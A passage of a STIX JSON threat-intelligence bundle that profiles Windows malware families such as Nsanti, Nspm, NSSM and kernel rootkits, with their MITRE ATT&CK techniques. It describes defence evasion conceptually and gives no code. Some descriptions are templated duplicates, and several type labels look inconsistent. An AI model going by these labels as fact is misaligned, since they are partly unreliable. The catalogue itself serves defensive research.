      "description": "Nrww exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6773db55-a099-5abf-a773-2e73fef68eb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nsanti",
      "description": "Trojan:Win32/Nsanti is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Nsanti</b><br>To an end-user, a Nsanti infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Nsanti is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Nsanti is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Nsanti frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Nsanti reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nsanti",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nsanti"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72e5050b-c944-5b9d-b5d7-061fdfb19fb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6773db55-a099-5abf-a773-2e73fef68eb6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nsanti exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20244cba-2a81-58ac-9a33-57f9d1ceb0d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6773db55-a099-5abf-a773-2e73fef68eb6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nsanti exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8deef55-77ab-5534-92b9-13cff337389a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6773db55-a099-5abf-a773-2e73fef68eb6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nsanti exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a60cf4ff-a172-57ce-a912-d9dc0932319a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6773db55-a099-5abf-a773-2e73fef68eb6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nsanti exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95d6d24e-34ee-52f8-89c9-c4b3286c1ec9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6773db55-a099-5abf-a773-2e73fef68eb6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nsanti exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--30ddb968-3015-56d3-9635-bd565b4528ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nscauth",
      "description": "Trojan:Win32/Nscauth is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Nscauth</b><br>To an end-user, a Nscauth infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Nscauth is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Nscauth is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Nscauth frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Nscauth reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nscauth",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nscauth"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ff2b1e6-1cd9-5aae-ba6f-7144ef98a6e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30ddb968-3015-56d3-9635-bd565b4528ee",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nscauth exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef78128f-ee87-533b-84f8-3d4c29cabf71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30ddb968-3015-56d3-9635-bd565b4528ee",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nscauth exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89fc3bbf-1061-5223-85c3-7918409f3238",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30ddb968-3015-56d3-9635-bd565b4528ee",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nscauth exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2eae7d6d-3153-5783-b6d2-771453898e01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30ddb968-3015-56d3-9635-bd565b4528ee",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nscauth exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abe83fd1-eee5-59d3-835c-7bc4768aa8c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30ddb968-3015-56d3-9635-bd565b4528ee",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nscauth exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--98f68d0e-a0c2-53f6-91cb-1b19f7e481bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nsismod",
      "description": "Nsismod (cataloged by security vendors as PUA.Win32.NSISMod and Trojan:Win32/Nsismod) represents trojanized and modified Nullsoft Scriptable Install System (NSIS) installers active since 2015. Threat actors unpack legitimate open-source freeware, patch the NSIS configuration scripts, and repackage the archives with hidden payloads, malicious browser extensions, and adware stagers. When users run the deceptive setup executable, Nsismod installs the expected legitimate utility while silently dropping and executing secondary adware, proxyware, or infostealer payloads in the background. (Observed samples in benchmark: 55)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA.Win32.NSISMod",
        "Trojan:Win32/Nsismod",
        "Adware.NSISMod",
        "PUA:Win32/Nsismod",
        "Trojan-Dropper.Win32.NSISMod"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nsismod",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nsismod"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b5291ba0-56b6-597d-bf1c-6363279c8b89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nspm",
      "description": "PUA:Win32/Nspm is a Potentially Unwanted Program (PUA) and adware family often bundled with free software, torrent clients, or media converters. Its primary function is to silently install rogue browser extensions and intercept web traffic to inject intrusive advertisements, thereby generating illicit affiliate revenue for the developers.<br><br><b>Understanding Nspm Adware</b><br>To an end-user, an Nspm infection is highly frustrating. Their familiar Google or Bing search engine is suddenly replaced by an unknown portal, their browser becomes sluggish, and they are bombarded with irrelevant, often deceptive banner ads. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme, utilizing persistence mechanisms to prevent the user from easily reverting their browser settings.<br><br><b>Execution and Hijacking Mechanics</b><br>Nspm is heavily distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites. Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes persistence via Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`), injecting its advertisements directly into the DOM of the websites the user visits and monitoring search queries.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy (all searches are tracked and monetized), and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks. EDR logs will flag the installation of the Nspm extensions and the unauthorized modification of browser registry keys. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nspm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nspm"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e86e3388-7ef4-5e93-820a-49c55b21c5f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5291ba0-56b6-597d-bf1c-6363279c8b89",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nspm exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d561905-9935-5c7c-abd1-96182023a6ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5291ba0-56b6-597d-bf1c-6363279c8b89",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nspm exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bc8b8ac-dfcf-519b-bde2-968c33b5cf28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5291ba0-56b6-597d-bf1c-6363279c8b89",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nspm exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f037c5de-82b6-5f29-8ddc-6f8366e2414d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5291ba0-56b6-597d-bf1c-6363279c8b89",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nspm exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1f03edb8-0acd-5697-a40a-d17dc705d2d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nssm",
      "description": "NSSM (Non-Sucking Service Manager, classified across antimalware engines as HackTool:Win32/NSSM, Tool:Win32/NSSM, and PUA:Win32/NSSM) is a legitimate service wrapper utility heavily abused and weaponized by threat actors and ransomware cartels (including Conti, LockBit, BlackCat/ALPHV, and Hive). Threat actors drop nssm.exe into %TEMP% or %SystemRoot% during lateral movement and intrusion operations to convert arbitrary malicious scripts, batch files, proxy utilities, and ransomware binaries into fully managed Windows background services running under NT AUTHORITY\\SYSTEM context. By executing through NSSM, malicious payloads survive user logoffs, automatically restart upon crash, and blend in with routine administrative service activity, complicating detection by endpoint security solutions. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "exploit-kit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:Win32/NSSM",
        "Tool:Win32/NSSM",
        "PUA:Win32/NSSM",
        "Non-Sucking Service Manager",
        "Win32/NSSM"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nssm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nssm"
        }
      ],
      "labels": [
        "hacktool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7755d54-6dc4-58e8-9ce0-65f2da42af35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f03edb8-0acd-5697-a40a-d17dc705d2d9",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nssm exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3739a5e9-0f53-5df4-a2ec-dc6e62f1d305",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f03edb8-0acd-5697-a40a-d17dc705d2d9",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nssm exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e2700d5-4c4d-5553-83c6-4f8c91991616",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f03edb8-0acd-5697-a40a-d17dc705d2d9",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nssm exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Watchdog))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b858b9b9-3fba-59b6-a19d-e4387f2d8d48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f03edb8-0acd-5697-a40a-d17dc705d2d9",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nssm exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e515cbf2-4c84-5211-a7a6-56eacbf4fd24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f03edb8-0acd-5697-a40a-d17dc705d2d9",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nssm exhibits technique T1078 (Valid Accounts (Required for installation))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6e80b45f-e94f-5090-8718-44ff14fe9db5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ntkrnl",
      "description": "Rootkit:Win32/Ntkrnl is a highly sophisticated classification for malware designed to operate at the deepest layer of the Windows operating system (Ring 0 / Kernel Mode). Its primary objective is stealth and subversion: by hooking core operating system functions (like those found in `ntoskrnl.exe`), it can hide files, processes, and network connections from both the user and advanced security software (`T1014`).<br><br><b>Understanding Ntkrnl (Kernel Rootkits)</b><br>To an end-user, an Ntkrnl infection is entirely invisible. For a security operations center (SOC), the discovery of a kernel rootkit is a critical event. It indicates that an advanced adversary has bypassed all user-land protections (including standard EDR) and has total, unmitigated control over the endpoint. It is typically deployed as a defense evasion module to protect a high-value secondary payload, such as a state-sponsored espionage implant or an advanced banking trojan.<br><br><b>Execution and Subversion Mechanics</b><br>Ntkrnl requires administrative or SYSTEM privileges to install. Because modern 64-bit Windows requires kernel drivers to be digitally signed, Ntkrnl often utilizes 'Bring Your Own Vulnerable Driver' (BYOVD) techniques (`T1068`). It drops a legitimate, but known-vulnerable, driver (e.g., an outdated hardware utility) to disk and exploits it to gain kernel execution. Once in the kernel, it modifies the System Service Descriptor Table (SSDT) or uses Inline Hooking to intercept calls made by security software. If an AV scanner asks the OS, 'Does file X exist?', the rootkit intercepts the request and forces the OS to reply, 'No.'<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the complete compromise of endpoint integrity. Host-based IoCs are extremely difficult to detect while the OS is running, as the rootkit actively lies to security tools. EDR may catch the initial exploitation phase (the dropping and loading of a known vulnerable `.sys` file). Advanced memory forensics or offline disk analysis (scanning the hard drive from a clean OS) are often required to detect the hidden files and registry keys. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ntkrnl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ntkrnl"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a012713b-f41b-52ec-95a7-f61fa04e9a63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e80b45f-e94f-5090-8718-44ff14fe9db5",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ntkrnl exhibits technique T1014 (Rootkit (Operating in Kernel Mode to hide artifacts from the OS and AV))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd65dedc-f3c9-537a-9f44-b070e7dd6f01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e80b45f-e94f-5090-8718-44ff14fe9db5",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ntkrnl exhibits technique T1068 (Exploitation for Privilege Escalation (Using BYOVD to bypass Driver Signature Enforcement))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a95bcee3-46c5-5511-934d-9520cdcc30fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e80b45f-e94f-5090-8718-44ff14fe9db5",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ntkrnl exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Subverting AV scanners at the kernel level))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2e450d03-fd3e-58ac-a1da-123b1139b27e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ntrootkit",
      "description": "NTRootkit (classified across cybersecurity vendors as Rootkit:Win32/NTRootkit, Trojan:Win32/NTRootkit, and Rootkit.Win32.NTRoot) is an evasive stealth rootkit engineered for 32-bit and 64-bit Windows NT architecture operating systems. Designed to operate at kernel privilege level (Ring 0) and high user-mode levels (Ring 3), NTRootkit alters operating system behaviors to cloak malicious software presence from administrators, incident response investigators, and antivirus software. NTRootkit leverages techniques including System Service Dispatch Table (SSDT) hooking, Direct Kernel Object Manipulation (DKOM), and I/O Request Packet (IRP) major function table modification. By intercepting core Windows Native API calls (such as NtQuerySystemInformation, NtQueryDirectoryFile, and NtOpenKey), NTRootkit dynamically removes malware processes, dropped binaries, network ports, and autostart registry entries from standard administrative queries. Additionally, NTRootkit provides privileged memory execution primitives and stealth backdoors allowing threat actors to maintain deep persistent access unnoticed for extended periods. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "rootkit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rootkit:Win32/NTRootkit",
        "Win32/NTRootkit",
        "Rootkit.NTRoot",
        "NTRoot Kernel Driver",
        "Trojan:Win32/NTRootkit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ntrootkit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ntrootkit"
        }
      ],
      "labels": [
        "rootkit",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4dd2cbf8-5f83-527f-81b4-3c290402536d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e450d03-fd3e-58ac-a1da-123b1139b27e",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ntrootkit exhibits technique T1014 (Rootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19ae3ab4-3356-5930-9b00-f099cd70d300",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e450d03-fd3e-58ac-a1da-123b1139b27e",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ntrootkit exhibits technique T1068 (Exploitation for Privilege Escalation (BYOVD))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce769fcb-dfe8-53c9-a43b-c7edc4e0c806",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e450d03-fd3e-58ac-a1da-123b1139b27e",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ntrootkit exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a26e9302-e504-5755-9666-5faccbc58d76",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e450d03-fd3e-58ac-a1da-123b1139b27e",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ntrootkit exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Kernel Driver))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--0ebf3f78-b94e-5a10-9fa5-4141377ac9f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1564: Hide Artifacts",
      "description": "MITRE ATT&CK Technique T1564 (Hide Artifacts) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1564",
          "url": "https://attack.mitre.org/techniques/T1564/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--102fd787-aadc-58c9-b778-e44a9f7e4640",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e450d03-fd3e-58ac-a1da-123b1139b27e",
      "target_ref": "attack-pattern--0ebf3f78-b94e-5a10-9fa5-4141377ac9f4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ntrootkit exhibits technique T1564 (Hide Artifacts)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5b7fc575-9847-5c4f-ab92-2f036c47b4e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nuclear_Rat",
